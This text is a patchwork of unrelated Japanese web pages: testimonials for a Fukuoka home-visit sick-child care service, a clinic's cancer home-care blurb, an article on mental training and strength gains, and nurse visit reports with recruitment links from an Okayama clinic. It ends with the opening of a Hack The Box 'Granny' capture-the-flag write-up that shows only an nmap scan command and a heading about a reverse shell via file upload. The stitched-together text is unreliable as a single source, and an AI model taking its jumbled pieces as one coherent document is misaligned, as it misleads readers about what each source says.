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「手に取るように様子がわかる保育記録」というのは、当社が目指しているところです。
今後とも、心から信頼できる自宅型の病児保育としての努力をしてまいります。
N様、ありがとうございました。
Posted by 病児保育スタンドバイ at 13:49 │Comments(0) │保護者様の声
2015年08月10日
会員様にアンケートを行いました②
会員様にお答えいただいたアンケートのご紹介の続きです。
「今後のスタンドバイにどのようなことを期待されますか。またお気づきの点ございましたら、どのようなことでもご記入ください」
*当日朝8時までの依頼で100%対応はとても心強いです。東京からの移住者ですが、同様のシステムを東京で利用する場合高額となるので、助かっています。
*緊急お迎えサービスの受付時間が16時だと助かります(現在15時まで)。
*二人目の月会費が少しでも安くなると助かります。
*先日短時間でしたが、利用しました。とても詳しく保育内容を記録してくださっており、安心できました。また子どもが体調不良の場合は利用したいです。
*最近は元気に登園しているため、以前のように利用する機会はありませんが、娘は「病気になったら先生(キーパー)来る?」と言っています。とても心強く思っています。
*入会してから何度か利用させていただいていますが、毎回本当に助かっています。入院時も利用できるのでありがたく助かりました(入院された場合の枕元での付添い代行)。ありがとうございました。法人契約もあるとホームページで拝見しましたが、歯科医院でも契約できますでしょうか。
*いつも病気の時にはとても助かっています。今後の展開として病児以外のシッターサービスを作っていただければと思います。仕事上、他社と数か所登録していますが、スタンドバイさん一本だと助かりますので。ぜひご検討ください。
*いつも丁寧に対応してくださるので、安心して子どもを預けられます。私も仕事を休むことに対して不安がなくなり、精神的にも支えられています。
*いつも急な対応にもかかわらず、すぐに対応していただきありがとうございます。ここぞという時に頼りになるスタンドバイです。料金も、内容に対してとても良心的で満足のいく価格です。キーパーさんの対応も大満足で、我が家としては適正価格だと思っています。これからもスタンドバイの運営を応援いたします!
*急な発熱時などに大変助かっています。利用を決めて本当に良かったと思っています。
*前日に念のために依頼し、朝には体調が戻りキャンセルできました。とても助かりました。
*7時半から利用でき、施設型の小児科の病児保育に比べてきめ細やかに対応していただけるので、とても満足しています。安心第一のサービスだと思いますので、スタッフの教育に力を注いでいただけると嬉しいです。
*このようなサービスを提供いただき、とてもありがたく思っています。長男の時にはなかったので、この有難味をひしひしと感じます。仕事を続けるうえで必須です!!病児保育だけでなく、送迎や自宅見守りなどのサービスもオプションであると嬉しいです。
Posted by 病児保育スタンドバイ at 16:06 │Comments(0) │保護者様の声
2015年07月11日
会員様にアンケートを行いました ①
すっかり暑くなってきました。
「病児保育」というと、インフルエンザなどが流行る冬が一番忙しいイメージがありますが、6月のご利用は過去最高となりました。
なるべく出番がない方が会員様にとって良いわけですが、それでも出番があり、お力になることができる場面が多いと、スタンドバイとしてもお役に立てた喜びがあります。
さて、スタンドバイでは現在の会員様にアンケートをお送りしました。
その中でいただいたご意見やご要望、ご感想をご紹介いたします。
まず今回は「事前訪問」のご感想のご紹介です。「事前訪問」とは、実際に会員になられる前にキーパーがご自宅にお伺いしてご説明をさせていただくものです。
☆ 丁寧にご説明いただき、子どもたちにも親切に接していただきました
☆ とても優しく子どもに話しかけてくださったのが印象的でした。そのおかげでスタンドバイさんに良い印象を持っています。
☆ 質問にもすべて答えていただき安心できた。
☆ キーパーさんの話はわかりやすく、また優しそうで子どもに話しかけてくださり、とても安心しました。
☆ 不安な面もありましたが、きちんと説明していただいて安心しました。
☆ 事前訪問の時、子どもは保育園に行っている時間で私だけでしたが、しっかり娘の性格なども聞いていただけたので、その時に信頼できる方だなと思いました。
他にも内容が重複するものが多くありました。
事前訪問に関して、みなさま非常によい印象をお持ちになってくださっていました。
会員に登録するまでは、すべてメールでのやり取りとなり、この事前訪問の日時の打ち合わせもメールとなるのが一般的です。
「会員になるつもりだが、初めてキーパーと会う」それが事前訪問となります。やはり緊張しますよね。「どんな人がキーパーなのか」それが一番のご不安な部分でしょう。
そのような中で、しっかりとそれぞれの保護者の方やお子様に向きあえているのだと思います。
Posted by 病児保育スタンドバイ at 13:48 │Comments(0) │保護者様の声
2015年02月23日
初めてご利用された会員様からご感想をいただきました
ご利用された会員様からメールにて、ご感想をいただけましたのでご紹介いたします。
「金曜日(2月20日)、初めて病児保育の依頼をしました。
引継ぎをして、出ていこうとするとき、息子がちょっと泣きそうになったのですが、大泣きすることもなく別れることが出来ました。
訳があり、旦那が途中いたのですが、いたって普通に遊んでいたそうで、ホッとしました。
特に、家族以外の人がいるとなかなか家で寝てくれない息子が昼寝をしていたのにはビックリしました。
それだけ息子も安心できたのだと思います。
本当にありがとうございました。
また機会があったら利用させていただきたいと思います。」
保育園登園初日、みなさんドキドキされたと思います。
自宅型病児保育を初めてご利用する日、もちろんドキドキすることでしょう。私も初めて娘の保育を自宅で他人にお願いした時は、すごく緊張しましたし、帰宅してドアを開けるときのドキドキは今でもしっかり覚えています。
その「ドキドキ」は親心。親の愛情ですよね。
その愛情をしっかり受け止めて、これからも頑張りますね。
Posted by 病児保育スタンドバイ at 17:55 │Comments(0) │保護者様の声
2014年11月17日
初めてご利用された会員様よりメールをいただきました
先日初めてご利用された会員様よりメールをいただきましたので、ご紹介いたします。
今日はお世話になりました。
会員登録する前は「部屋も散らかっているし、掃除が行き届いていないし、留守中に来てもらうのは…」と思っていました。しかし事前の説明の時に「子どもにとっては、やはり慣れた家が安心する」と聞いて納得しました。
上の子どもたちは、小児科内病児保育を利用していたのですが、慣れない場所で複数の子どもたちと一緒で、落ち着かない環境・他の病気に感染するリスクも」ありました。スタンドバイが戸皇子からあったら違っていたのに、と思います。
初めての利用だったのですが、事前にファイルで(キーパーの)顔写真を見ていたので良かったです。お名前以外にも一言コメントと自己紹介があればさらに良いと思いました。
朝出かかるときは泣いていましたが、帰ると(キーパーと)すっかり打ち解けていました。保育記録を見ても、一日しっかり見ていただいたのがわかりました。
私が働いた日給より保育料金は高くなりますが、働いていく上で早々休めないので仕方ない出費と思います。
Aさん(キーパーの名前です)ありがとうございました。また利用したいと思います。
会員様には小学生高学年の方もいますが、最も頻度の高いのは「お子様が幼児のころ」までと思います。
スタンドバイの会員になられれば、もうお子様の発熱による急な欠勤に怯えることはなくなります。幼児期のみの「保険」とお考えになられては如何でしょうか。
朝8時までのご依頼に100%対応保証のスタンドバイ「自宅型病児保育」で、お子様にもお母様にも安心な冬になりますよ。
Posted by 病児保育スタンドバイ at 13:24 │Comments(0) │保護者様の声
2014年11月10日
初めてご利用の会員様からお手紙いただきました
スタンドバイの会員になられて、その後初めてご利用されたM様からお手紙をいただきましたので、以下にご紹介させていただきます。
お世話になります。(中略)
先日、病児保育を初めて利用させていただきました。初めてのことで、不安はあったのですが、1歳10か月の息子はすぐに打ち解け、私に手を振って見送ってくれました。今後は泣くこともあるかもしれませんが、大変優しく丁寧で、バタバタと私がまだ準備が整っていなくてもテキパキと応対してくださり、大変心強く安心して出勤できました。
昼からバトンタッチした主人の母も「安心してお願いできる優しい信頼できる方ね」と、喜んでいました。
今後緊急お迎えシステムが15時以降も大丈夫になり100%引き受けてくださるようになれば全く心配することなく仕事ができるのですが、システムが変わるようなことはないですよね。
何はともあれ、入会して子どもを一日預かって頂けるようになったこと、本当に心強いです。これからもよろしくお願いします。
ありがとうございました。
保育園への緊急お迎えサービスは「15時までのご依頼」で「100%対応保証」ではありませんが(通常の病児保育は8時までのご依頼に「100%対応保証」です)、12月から朝の保育開始時間を30分早め「7:30から」としています。
今後もより会員様のご期待に添えるよう、改善して参ります。
キーパーにとっては、このようなご感想をいただけることが何より励みになります。
お忙しい中、わざわざお手紙を送って下さったM様、本当にありがとうございました。
Posted by 病児保育スタンドバイ at 13:12 │Comments(0) │保護者様の声
2014年04月26日
3時間無料保育体験 その2
今日は天気がいいですね。お休みの方がちょっとうらやましい杉原です。
さて、今日26日に「3時間無料保育体験」をされたW様より、体験のご感想を早速いただきましたのでご紹介いたします。
大変お世話になっております。体験保育の機会を与えてくださってありがとうございました。
本日は朝から、キーパーさんに来ていただきまして、子供たちを3時間みていただきました。
お電話でやりとりさせて頂き、玄関を開けて初めておあいしたときから、この方々ならお願いできる、と安心して夫婦で外出させて頂きました。
子供たちも我々の帰宅に振り返らないほど遊びに夢中で、今日は天気がよいとのことで公園にもつれていってくださって、とても楽しかったようです。
子供が元気で、親子共に心身に余裕のあるときに体験保育を受けさせて頂き、いざというときに安心してお願いできると感じられました。
みなさまご多忙のなか、このような機会を下さいましてありがとうございました。
…というメールを、体験後早々にいただきました。ありがとうございました。
わが子を誰かに預けるって、不安ですよね。
ご不安がある方が私は健全だと思います。
そのような、健全なご不安をお持ちで、そして家族のため自分のためにお仕事を頑張っていらっしゃる方々に、選んでいただいてご入会いただければと思っております。
病気のお子様にとって「自宅で過ごせる」というのは、とても安心感のあるものです。もちろんお母様にとっても、送迎がなく貴重なお時間のロスがない「自宅型病児保育」。
ご入会にご興味がある方は、お気軽にホームページ上の「お問い合わせはこちら」もしくは092-732-6128へご連絡ください。
Posted by 病児保育スタンドバイ at 15:39 │Comments(0) │保護者様の声
2014年04月10日
無料保育体験されたWさんの声
先日スタンドバイの「3時間保育無料体験」をされご入会された福岡市のWさんから、体験保育当日に関する体験談をいただきました。
「自宅を夫婦で留守にして、子どもの保育をお願いする」
親にとって、かなりドキドキの体験ですよね。
そのドキドキ体験談です。
我が家は、子供が病気の際はずっと施設型の病児保育に預けておりました。
施設型病児保育は料金は安く済むのですが、子供が行きたくないと泣く上に、
ぐったりしている病気の子を連れだす不安/予約が取れない/診察に時間がかかり仕事へ遅刻してしまう等、
子供にとっても私にとってかなりの負担でした。
さらに我が家が引越しをすることが決まり、
家も保育園も、そして病児保育まで新しくなることに
子供はどんなに戸惑うだろうという不安があり…どうしたものかと悩んでいた際に
丁度チラシにてスタンドバイのシッター型病児保育を知りました。
シッターさんが自宅に来て看病してくれることに魅力は感じたものの、
「見知らぬ人と自宅に二人きり」ということに人見知りの激しい娘(3歳)が
大丈夫とは思えず、どうしようか悩んでいた際に3時間無料体験のお話を頂き、
ダメもとで一度体験してみて考えようと申込みさせて頂きました。
事前に娘には「ママのお友達が来るよ、一緒に遊んでくれるよ。」と話をしておくと、
案の定「嫌だ!」と緊張した顔…。
やっぱり嫌だと泣き叫ばれるかもと覚悟していました。
キーパーさんがいらっしゃると、娘は最初は私の陰に隠れていたものの、
娘の大好きなアンパンマンのおもちゃを持参してくださっていて、
目線を同じにして話しかけてもらうと、すぐに娘もキーパーさんに話しかけて遊び始めました!!
すごい!!さすが子供の扱いに慣れていらっしゃるな~と感心しました。
少し慣れたかな…と思ったところで、
「パパとママはお出掛けしてくるけど、みほちゃん(キーパーさん)と遊んでお留守番できる?」と聞くと
笑顔で「うん、いってらっしゃ~い!」と言ったのです。
これには本当に驚きました。絶対「私も一緒に行く!」と言うと思っていたのに。
普段はママも一緒に遊んであげる時間の少ない中、
3時間の間しっかり向き合って遊んでもらえたことがすごく嬉しかったようです。
(キーパーさんが折り紙やシャボン玉などもご持参頂いていました☆)
そして自分のいつも遊んでいるお気に入りのおもちゃで一緒に遊んでもらえたのもまた嬉しかったようです。
私と主人が帰宅すると、笑顔で「おかえり~」と迎えてくれました(^^)
キーパーさんからはその後、保育中の様子を細かく報告をしてもらい、
終始ご機嫌に過ごせていたとのことでした。
報告書もびっしりと細かな様子まで書かれていたので、驚いたと同時に非常に安心感がありました。
キーパーさんが帰る時は、娘はまだ遊びたくて離れたくなくて
車が見えなくなるまで「みほちゃん、ばいばーい」「みほちゃん、またねー」と
手を振り、「また来るかな~」と名残惜しそうにしていました。
そしてその後、キーパーさんから私に所用で電話があると
娘が「私も話す!」と言ってキーパーさんと電話していました(笑)
わずか3時間でキーパーさんが大好きになっていました(*^_^*)
奇しくも、ベビーシッターによる事件が発生した時期でしたので
私自身躊躇してしまう気持ちもありましたが、体験後の子供の表情を見て安心を確信しました。
子供にとって自宅で過ごせるというのはとても安心感のあるものなのですね。
キーパーさんは終始丁寧な対応でしたし、
子育て経験のある方ばかりと伺っており病気の際にも安心です。
さらに子供の扱いが非常に上手く、子供のことを詳しく聞いてくださったり、
親身になってくださっているのが体験してみて実感でき、安心して入会を決めました。
まだ入会を済ませたばかりで、利用しておりませんが
今後子供が病気の際も、安心して心にも時間にも余裕をもって仕事に行けると思うと
今後とも宜しくお願い致します。
Wさん、本当にこれだけの文章をいただき、ありがとうございました。
何事も簡単ではありません。
スタンドバイも法人である限り利益を追求していくわけですが、これももちろん簡単ではありません。
でも、会員になられた方の安心感をお聞きしたり、実際に病児保育をご利用された方から「本当に入会していて良かったです!」「キーパーさんも100点、というか120点でしたよ!」というお声をいただいたときに、そこにはプライスレスな喜びがあります。
そのプライスレスな喜びを責任感に代えて、より安心安全なスタンドバイをどこまでも追求していきます。
Posted by 病児保育スタンドバイ at 07:40 │Comments(0) │保護者様の声
2014年02月08日
初めてご利用された会員さんより
2月5日に初めてご利用された会員さんに「いかがでしたか?」とメールさせていただいたのですが、ご返信をいただきましたのでご紹介しますね。
今日は、やはり不安もありつつ預けさせて頂きました。
私も息子も初対面の人なので「大丈夫かな??」と思っていましたが、楽しい雰囲気づくりをしていただき、息子も楽しかったみたいです(^^)
帰ってきても、特に私を待っていたわけでもなさそうで、安心しました。
年上の方に対して失礼ですが、家に上がるときや靴や色々細かいところまで行き届いているなと思いました。
そこで感じ取るものによっては、会員になったものの利用しないかも…と思っておりましたが、本当に安心してご利用できそうです。
Sくんにとって、父・母にしかできないことは精一杯してあげたいと思っています。
仕事を再開したことで過ごす時間は減りましたが、その分一緒の時間を大切にしようと思っています。
それと同じように彼には保育士さんやお友達、地域の方など、私たちにはない視点や感性に触れることもプラスではないかと考えています。
キーパーさんたちは保育のプロであり、育児においても先輩なので頼りにしています。
仕事を復帰して1か月が経ち、やはり続けていくことの難しさも痛感していますが、母になったからわかる気持ちや、仕事を1年離れて育児に専念して学んだことをキャリアに生かしていきたいと思っています。
両祖父母が遠方な私たちにとって本当にそばで支えてくださるような気がします。
まさにスタンドバイですね(^^)
これだけの文章、心を伝えてくださったTさんに深く感謝いたします。
そして、会員になり実際にご利用機会のあった方からいただくこのような声は、「スタンドバイを作ってよかった!」と心から思える瞬間でもあります。
「スタンドバイ」とは、」いわゆる「スタンバイ(準備する)」という意味のほかに「寄り添う」「そばで支える」という意味があり、名づけました。
育児と仕事と両方頑張る地域のお母様方に、今後もっともっと「スタンドバイ」であるために、心の通う病児保育にしていくことを誓います。
Posted by 病児保育スタンドバイ at 11:30 │Comments(0) │保護者様の声
2013年10月31日
会員様からの声をいただけました 2
中央区にお住いのKさん。小学生のお兄ちゃんと2歳のMちゃんのママです。
お伺いした日に「リトル・ママ」がテーブルにありました。
ご入会を決めた一番の理由は「派遣型なので、Mちゃんが『自宅』で過ごせる」でした。
お兄ちゃんが小さい時には、特に病気ももらわずに元気に登園できていたそうです。また、人見知りもなかったので、誰かに預けることに特に心配はありませんでした。
しかし、Mちゃんは人見知りがあります。以前ファミリーサポートでヘルパーさんのご自宅で過ごした時も寂しくて泣いていたとのこと。
ご実家も遠方なのですが、以前ロタウイルスに感染してしまったとき、おばあちゃんに来て助けてもらいました。しかし、そのおばあちゃんにうつってしまったということもありました。
「自宅で過ごせるというのは、だいぶ安心感が違うと思うんですね」
お母様が一番気になっていた「Mちゃんの不安」をなくす、スタンドバイの派遣型病児保育。会員になられたのは、「ただ便利」というだけではなく、お母様のMちゃんへの愛情でした。
また、遠方のおばあちゃんに迷惑をかけずにすむという安心感もあります。
「これからの季節、本当に心強いです」
どうしても冬にはいろいろ感染症が流行ります。家族のために頑張るお仕事も、そのたびに休めるというわけではない中で、派遣型病児保育スタンドバイの会員になっておくことは、Mちゃんだけでなくお母様の安心感にもつながりました。
Posted by 病児保育スタンドバイ at 14:59 │Comments(0) │保護者様の声
2013年09月25日
ご入会の会員様にお話をお伺いしました
「ちょっと失礼な質問ですけど、どうしてそんなに会費が安いんですか。逆に不安なんですけど」
先日ご入会されたUさんに「ご入会のきっかけ」を私(代表)がインタビューさせていただいた際に、Uさんからご質問がありました。
Uさんは南区高宮在住。4歳、2歳の娘さんと5か月の息子さんの5人家族。
数年前までお住まいだった大阪でも「派遣型病児保育」に入会申し込みをされました。しかしその直後に福岡転勤が決定。
福岡で派遣型病児保育を探すものの「当日100%対応」のものがなく、料金的にも問題がありました。3人目のお子様もご出産され、仕事を再会するにあたり不安を感じられているところでした。
ところが最近ネットでスタンドバイを発見。「夜中に検索したんですけど、見つけた時は嬉しくて手が震えました」。
お子様が多いUさん。月会費が高いと働く意味がなくなってしまいます。また大事なお子様を預けるわけですから「ただ安ければいい」というものでもありません。そこで冒頭のようなご質問になったようです。
「一部の方だけの病児保育ではなく、多くの方に『本当に使える病児保育』にしたい」
「出産しても、女性がしっかり社会進出できる時代にしたい」など、私の想いをお話しさせていただきました。
Uさんはまだお仕事をされていない段階でのご入会。また、生後6か月からでないとご入会できないので、とりあえずお姉ちゃん二人のご入会です。「100%対応」の派遣型病児保育は、会員が増えた場合に入会をストップする可能性があることを大阪時代にご存じで「仕事はまだですが、早めに入会しておきたくて」ということで、すでに一番下のお子様もご入会予約済み。
たまたま取材にお伺いした日は「午後から面接なんですよ」ということでした。「面接のときに『こどもが熱を出しても出勤できます』って言えます!」と笑顔でお話しくださいました。
仕事が始まると、こどもの発熱というのは時として母親の心を揺さぶりますよね。どれだけ愛情を持っていても強いストレスを感じてしまします。
「当日朝でも100%対応の病児保育の会員になること」それは育児と仕事の両立というだけでなく、精神的にも大きな支えになるはずです。
Posted by 病児保育スタンドバイ at 14:12 │Comments(0) │保護者様の声
ご入会をお待ちいただいております (6/7)
退会される会員様からのご返信 (2/25)
今日、2月11日は。。。 (2/11)
今日感テレビで放送予定♪ (2/5)
ご利用された場合 (1/6)
今年もよろしくお願いいたします! (1/4)
年末年始 お休みのお知らせ (12/27)
新規会員募集、再開です (12/19)
☆スタンドバイへ寄せられたアンケート結果☆ (12/26)
※※2017年1月4日の連絡先について※※ (12/16)
保護者様の声 (13)
サイドストーリー (2)
福岡県の病児保育の『スタンドバイ』からのお知らせを更新して行きます。福岡エリア(福岡市・筑紫野・太宰府・春日・大野城・那珂川・鳥栖・基山・筑前・朝倉・エリア外は応相談)
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三育会ではもともとがんの在宅医療、緩和医療に大変注力してきました。
がん在宅医療では、症状変化が大きく、集約的な対応が不可欠、専門知識や高度在宅医療的対応も必要になります。三育会には緩和的技能に詳しい先生方が多く所属してくださっており、緩和に詳しい看護チームが常にバックアップする体制をとっております。
これまでがんをあまり見たことがなかったいう方々も安心してがん患者さんと向き合えることができるような体制ができております。
どんなに重症であっても、たとえ短い時間であっても、それぞれの方の人生が光り輝くようにサポートするためには、何ができるのかぜひチームの諸先輩方とともに考えていただければと思います。
一言でがん患者さんといってもそれぞれの病状、生活状況やご希望などは様々、それぞれの個別な人生をどうやってサポートしていくのか考え、実践し続けていただければと思います。


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text:
まず、筋トレはどちらのグループも”ベンチプレスとスクワット(各4セット×8回)”をしてもらった。
そして、メンタルトレーニンググループには2種類の精神トレーニングをしてもらった。
まず1つ目が、セット間休憩で行う”ポジティブなセルフトーク”である。ネガティブな考えが浮かんだことに気づいたらそれを書き留め、モチベーションを上げる言葉に変えてもらうというもの。
例えば「こんな重さ上げられない...」という考えが浮かんだらそれを書き留め、「自分はもっと重いものも持ち上げられる!」という風に言い換えて自分に言い聞かせる、といった具合。
そして、2つ目はいわゆる「イメージトレーニング」である。トレーニング後30分にわたり、自分が筋トレをしているところを一人称視点で想像してもらった。
一方で、トレーニングだけのグループには、トレーニング後30分は認知負荷がかかるタスクをしてもらうことでコントロールグループとした。
この条件で12週間過ごしてもらい、実験終了後にベンチプレスとスクワットの筋力を測定したところ、以下のような結果に。
ベンチプレスとスクワット、両方においてメンタルトレーニングを取り入れたグループのほうが明らかに筋量が向上している。しかもグループ間の効果量はそれぞれ0.84(大)、0.74(中)となかなかの数値である。
しかも、この研究ではメンタルトレーニングをしたグループの方がテストステロン値が上昇し、コルチゾールが低下したことも報告されている。
これらの結果を受けて、研究者は以下のように言っている。
身体的トレーニングとメンタルトレーニングを組み合わせることは、筋力増加にとても有効である。(中略)これらの適応は、アスリートの生理学的変化・内分泌系変化と関連している可能性が高い。
つまるところ、イメージトレーニングやポジティブなセルフトークによって体の生理反応すら変化し、筋トレの効果が上がるというのだ。メンタルトレーニング恐るべし。
イメージトレーニングとポジティブなセルフトークという一見非科学的なメンタルトレーニングだが、、筋トレの効果は爆増する。
ちなみに、イメージトレーニングのコツは一人称視点で行うこと。3人称視点で行わないように注意しよう。
ただ、さすがに筋トレ後に30分も時間を割いてイメージトレーニングをするのは面倒かもしれない。なので、簡単にできるセット間のポジティブセルフトークから試してみるのがいいだろう。
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論文オタク|かつて大学院を1年間休学し、起きてから寝るまで論文を読むだけの牧歌的生活を送る|読んだ論文は1万本以上|東北大学卒|東北大学大学院卒|専門は細胞生物学で、 がん細胞の研究してました|2020年フィジーク出場|お仕事依頼はyouzyu123@gmail.comまで
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text:
https://asanoclinic.com/recruit/social-worker.html
現在募集中の職種は、上記の他に、看護師と医師です。こちらも募集ページをご確認ください。
https://asanoclinic.com/recruit.html
見学・研修の報告(看護師)
病院に勤務されている看護師の方が当院に見学・研修に来院をされました
感想をいただきましたので、掲載いたします。
ー・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・
この度は、お忙しい中このような機会を設けていただきありがとうございました。
私は看護師になってから病棟経験しかありませんでした。現在地域包括ケア病棟で勤務して
いるため、退院を目指して介入したり、退院前カンファレンスに参加したりと、在宅へ移行す
る機関に関わらせていただいています。しかし、在宅療養を経験したことがないため、在宅を
不安に思うご本人またはご家族へのサポートが不足していると感じました。また病棟には癌末
期で看取りを希望される方もおられます。ご本人の想いに寄り添い痛みや苦しみをとることを
大切にしていますが、その中で自宅に連れて帰りたいと思うご家族がいたり、ご本人がもう一
度だけ家に帰りたいけど、介護するご家族が日中おらず自宅退院が困難であったり、不安や恐
怖が強く実現できないなど、なかなか思いが重ならず介入が遅れてしまうことが何度もありま
した。原因はたくさんあると思うのですが、その一つに私が病棟以外を経験していないことも
一つの原因になっていると感じ、在宅にも視野を広げて自分の経験値を上げたいと感じました。
訪問診療は見学自体が初めてでした。医師と訪問することでその場でアセスメントし処置や
検査ができることがわかりました。私が想像していた以上に在宅でもいろいろな処置や検査が
行えることがわかり病院以外での療養環境を改めて魅力的に感じました。訪問前には看護師が
あらかじめ必要なものを考え準備することで診療や訪問先での対応がスムーズになり、迅速な
対応ができていることがわかりました。
訪問先では医師の診察後、看護師がバイタルサイン測定を行い、ご本人またはご家族の何気な
い会話の中で前回訪問時からの情報をとっていることがわかりました。医師からご家族への説
明の場面では看護師はご家族の理解度を確認し、思いの違いがないように用紙にまとめ、途中
途中で確認されていました。医師からの説明では食事が食べられなくなった時のことを「決め
る」のではなく「考える」と説明されており、ご家族の気持ちに寄り添った決断ができるよう
支えられていると感じました。また外部のスタッフから得た情報に対して、看護師が直接把握
していなこともご本人を取り巻くクリニック外の多職種の方々とも連携をとって情報共有を行
いご本人を中心に支えあっていることがわかりました。
訪問診療からクリニックに戻った後は、一日の訪問先でのことをクリニック内で情報共有しカ
ンファレンスを行っていたことからチームで統一した関わりができることを感じましました。
今までは、入退院を繰り返す患者様に対して在宅生活が限界なのではないかと感じることも
ありましたが、今回の見学で「在宅でなければならない」「入退院を繰り返すべきではない」
と決めつけるのではなく、ご本人やご家族にとって入院やレスパイトが必要であることも理解
して、主体であるご本人の意思を把握して支えていくことが大切だと学びました。
何より迎えてくださったスタッフの方々の笑顔とスタッフ間でのコミュニケーションの多さ
にも魅力を感じました。今回の見学で得た経験を大切に、これからも研修や見学などで自分の
看護を深められるよう学び続け、患者様主体のチーム医療が行えるよう努力していきます。半
日でしたが貴重な経験をさせていただき大変お世話になりました。ありがとうございました。
ー・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-
見学研修の受け入れについて
当院では新型コロナウイルス等の流行状況と、患者さん・ご家族のご理解も含めて、見学・研修の受け入れについて判断しています。
ご希望の方は、見学研修のページからお申込みください。☞ https://asanoclinic.com/tour.html
引き続き、看護師の求人を行っています
訪問診療のご希望対して、スムーズに対応できるよう、一緒に外来診療、訪問診療を中心に当院の業務を行う看護師の求人を
当院のホームページの求人情報のページに掲載をしています。☞  https://asanoclinic.com/recruit.html
看護師募集ページのエントリーフォームを活用いただくことでかまいません。☞ https://asanoclinic.com/recruit/nurse.html#mailform
近隣からの通勤の方だけでなく、総社市はもちろん、総社市近隣へ移住される方の就職希望についての相談にも対応しています。
皆様からの直接の求人に対するお問い合わせを心よりお待ちしています。。
よろしくお願い申し上げます。
見学・研修 (看護師)
先日1日見学・研修に看護師の方が来院され、感想をいただきました。
ー・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-
先日は業務のお忙しい中、かねてから希望しておりました見学、同行訪問を受け入れていただきましてありがとうございました。
私は亡き祖父が肝臓がんを患いながらも高齢者夫婦2人暮らしを最期まで希望しており、その期間は4年近くありましたが入退院を繰り返しながらも本人の希望に沿った最期を迎えることができた経緯を身近で関わってきました。他の家族の希望としては病院に入院する方が安心であり、それを勧めることもありましたが本人にとっては精神的ストレスもあり不穏になることも多く自分がもう長くないと悟ってからは特に在宅を希望しました。介護保険での様々なサービスも利用させていただきましたがその中でも訪問診療の医師、看護師には本人はもちろん妻である祖母も支えていただきました。亡くなる数日前に状態の悪い中、医師、看護師、ヘルパー、ケアマネまでも一緒に本人の希望に沿って数分ですがお風呂に入れていただきました。当然、血圧が
実際に同行させていただいて感じたことは、多職種連携のスピード感、スムーズ感です。そこにはスタッフ間の人間関係の円滑さやミーティングで各自の動きを明確にしていること、情報共有がしっかりできているからであろうと思いました。
実際に訪問させていただいた患者さんでは「先生の顔をみたら良くなったわ」とおっしゃる方もいたり、逆にバイタルに変化はないけど何かいつもと違う、と医師が気づいたりする様子をみて高齢者では典型的症状がでなかったり、本人は気づいていない場合も多いので利用者サイドからしたら(特に家族としては)とても安心だなあと思いました。そして無理に検査を勧めはせず、本人の意向に寄り添ってまた、翌日に様子を伺う、という継続的関わりにも訪問診療の魅力を感じました。高齢化、高齢者の夫婦のみ、独居の方が増えている社会の現状で、とてもニーズは高いと思いました。看護師も診療補助をしながらもそれとなく本人や家族に声をかけながら情報をとってアセスメントしたり精神的ケアを行っている様子が伺えました。継続して関われる
外来の見学はできませんでしたが数をこなす、まわすではなく外来患者さんでも色々な情報をとってできるだけ継続的に関わる、という姿勢をお聞きしました。院長先生の想いにスタッフ皆が同じ方向を向いて頑張っている、そこが一番の魅力に感じました。
1日、色々な事を感じ、自分の看護感を改めて考える機会にもなり私にとってはとても充実した一日になりました。
最初こそ、緊張しましたが皆さまとてもあたたかく迎えて下さいまして感謝でいっぱいです。本当にありがとうございました。
ー・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・-・
診療体制強化のために当院で一緒に働く看護師を求めています。
詳細は、求人情報のページをご確認ください。   https://asanoclinic.com/recruit.html
看護師募集ページ https://asanoclinic.com/recruit/nurse.html#rec_kangoshi
ページのエントリーフォームを活用ください。
当院の仕事にご興味がある皆様からの直接の求人に対するお問い合わせを心よりお待ちしています。まずは、仕事の内容など話を聞きたいという問い合わせでも構いません。
クリニックのある総社市は、倉敷市、岡山市からも近いため、倉敷市、岡山市から通勤をしている職員もいます。よろしくお願い申し上げます。
倉敷中央病院 救急科 佐々木先生が見学に来院
当院の患者さんの診療でいつもお世話になっている倉敷中央病院の救急科の佐々木先生が
見学に来てくださいました。
見学場所は訪問診療と外来
横山医師の訪問診療に同行後、院長の外来の見学というスケジュールでした。
先日は大変お世話になりました。
まずはじめにお邪魔した事務所、旧宅は伝統的な和風建築ですが、
中に入るとモダンにデザインされ素敵で清潔感にあふれていました。
隣接するクリニックは天井や机、廊下など至るところに木が使われていて清々しく、
とても癒される空間でした。開設以来8年とのことですがまだ数年しか経っていないように綺麗で、新鮮さを感じました。
ミーティングでは多くのスタッフが全て顔を揃え、全体の動き、各部署の動きが透明化され、身の引き締まる思いをしました。
横山Drと一緒に回った訪問診療では、患者さんのたくさんあるニーズにどこまでも関わっていこうとする広がりとどこまでも答えていこうとする探求の心を感じました。
訪問を終えて戻ってきてから浅野先生の外来をほんのわずかだけ覗かせてもらいましたが、そこでも規定の時間を超えてもどこまでもニーズに答えていこうという姿勢を見ました。
これらの実践のためにはリーダーの奮闘だけでは到底及ばず、スタッフの皆さんの創意工夫が積み重ねられてはじめて成し得たものであろうと思います。また事務サイドも始めから終わりまでとても気が届いており感嘆するばかりでした。自分としてもとても勉強になり感謝しておりますし、あさのクリニックのこれからを応援しています。
倉敷中央病院 救急科 佐々木 暁
見学に来ていただいたときの会話に加え、このように感想をいただくことで、私たちも多くの刺激をいただいています。
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あさクリフリーペーパー
映画「人生をしまう時間(とき)」上映会&お仕事説明会 当院看護師感想 2022年9月6日
開催報告 映画「人生をしまう時間(とき)」上映会&お仕事説明会 2022年9月6日
見学・研修 (看護師)8月来院 2022年9月1日
見学研修(相談員) 2022年9月1日
令和4年9月 フリーペーパー 2022年8月31日
9月3日 映画の上映会と看護師お仕事説明会をします❕❕ 2022年8月18日
令和4年8月 フリーペーパー 2022年8月1日
見学・研修の報告(看護師) 2022年7月13日
令和4年7号 フリーペーパー 2022年7月5日
七夕のしつらい 2022年6月29日
土曜日・日曜日・祝祭日
【訪問診療】月曜日~金曜日 9:00~17:00
【休診日】土曜日・日曜日・祝祭日
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TEL:0866-93-8808
FAX:0866-93-8818
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text:
Hack The Box Write-Up: Granny (Windows) | NORI ZAMURAI
ka0nash1    April 26, 2020 May 6, 2020
Reverse Shell via File Upload
Nmap (“Network Mapper”) is a free and open source (license) utility for network discovery and security auditing.
Network Scanning using NMAP (Beginner Guide)
nmap -sC -sV -oA granny 10.10.10.15 -sC: default script scan -sV: service version detection against open ports -oA: Output in the three major formats at once
– Version: Microsoft IIS httpd 6.0
